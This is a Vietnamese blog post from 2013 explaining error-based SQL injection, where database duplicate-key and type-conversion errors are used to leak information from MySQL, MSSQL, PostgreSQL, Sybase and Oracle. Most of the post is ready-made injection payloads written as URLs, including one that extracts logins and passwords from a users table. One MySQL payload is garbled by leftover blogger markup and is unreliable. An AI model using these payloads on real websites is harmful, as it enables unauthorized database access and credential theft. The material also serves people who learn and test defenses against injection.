Chủ Nhật, 22 tháng 12, 2013

Advanced - Blind SQL

Phương pháp thực chất là phương pháp set khóa chính có cấu trúc và tên gọi giống nhau lặp lại 2 lần

vd:

tương tự như

Primarykey('id','id')



Trong hệ quản trị CSDL ,ta không thể add 1 lúc 2 khóa chính giống nhau => Trùng

Và lúc này lợi dùng chức năng thông báo lỗi của các hệ quản trị CSDL để xuất ra thông tin ta cần tìm.



Các bạn có thể test ngay trên phpmyadmin ^_^ (MYSQL)



Code:


mysql> select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;


Sẽ trả về thông báo

ERROR 1062 (23000): Duplicate entry '5.0.841' for key 1<= bi trùng khóa '5.0.841' ,đây là thông tin mà ta cần lấy.



Tương tự



Code:


mysql> select 1 and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.0.841' for key 1


Ví dụ:



Code:


http://server/?id=(1)and(select+1+from(select+count(*),concat((select+table_name+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--


Với phương pháp này ta cũng áp dụng được trên MSSQL

qua phương pháp 'convert(int,xyz);'

vd:



Code:


http://server/?id=(1)and(1)=(convert(int,(select+table_name+from(select+row_number()+over+(order+by+table_name)+as+rownum,table_name+from+information_schema.tables)+as+t+where+t.rownum=1)))--


Đối với PostgreSQL thì hơi khác 1 chút.



vd:



Code:


http://server/?id=(1)and(1)=cast((select+table_name+from+information_schema.tables+limit+1+offset+0)+as+numeric)--


Đối với Oracle

vd:



Code:


http://server/?id=(1)and(1)=(select+upper(xmltype(chr(60)||chr(58)||chr(58)||(select+rawtohex(login||chr(58)||chr(58)||password)from(select+login,password,rownum+rnum+from+users+a)where+rnum=1)||chr(62)))from dual)--


Tổng kết lại ta có các phương thức ^_^.



PostgreSQL:



Code:


 /?param=1 and(1)=cast(version() as numeric)--


MSSQL:



Code:


 /?param=1 and(1)=convert(int,@@version)--


Sybase:



Code:


/?param=1 and(1)=convert(int,@@version)--


MySQL>=4.1<5 data-blogger-escaped-.0:="" data-blogger-escaped-1="" data-blogger-escaped-a="" data-blogger-escaped-and="" data-blogger-escaped-by="" data-blogger-escaped-c="" data-blogger-escaped-code:="" data-blogger-escaped-concat="" data-blogger-escaped-count="" data-blogger-escaped-floor="" data-blogger-escaped-from="" data-blogger-escaped-group="" data-blogger-escaped-ho="" data-blogger-escaped-param="1" data-blogger-escaped-rand="" data-blogger-escaped-row="" data-blogger-escaped-select="" data-blogger-escaped-table_name="" data-blogger-escaped-version="" data-blogger-escaped-x="">(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)--


MySQL>=5.0:



Code:


 /?param=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--

<!--5-->

Related Post:



0

0 nhận xét:

Đăng nhận xét

Gunakan Google Chrome Untuk Mendapatkan Tampilan Terbaik Blog Ini ( ^_^ )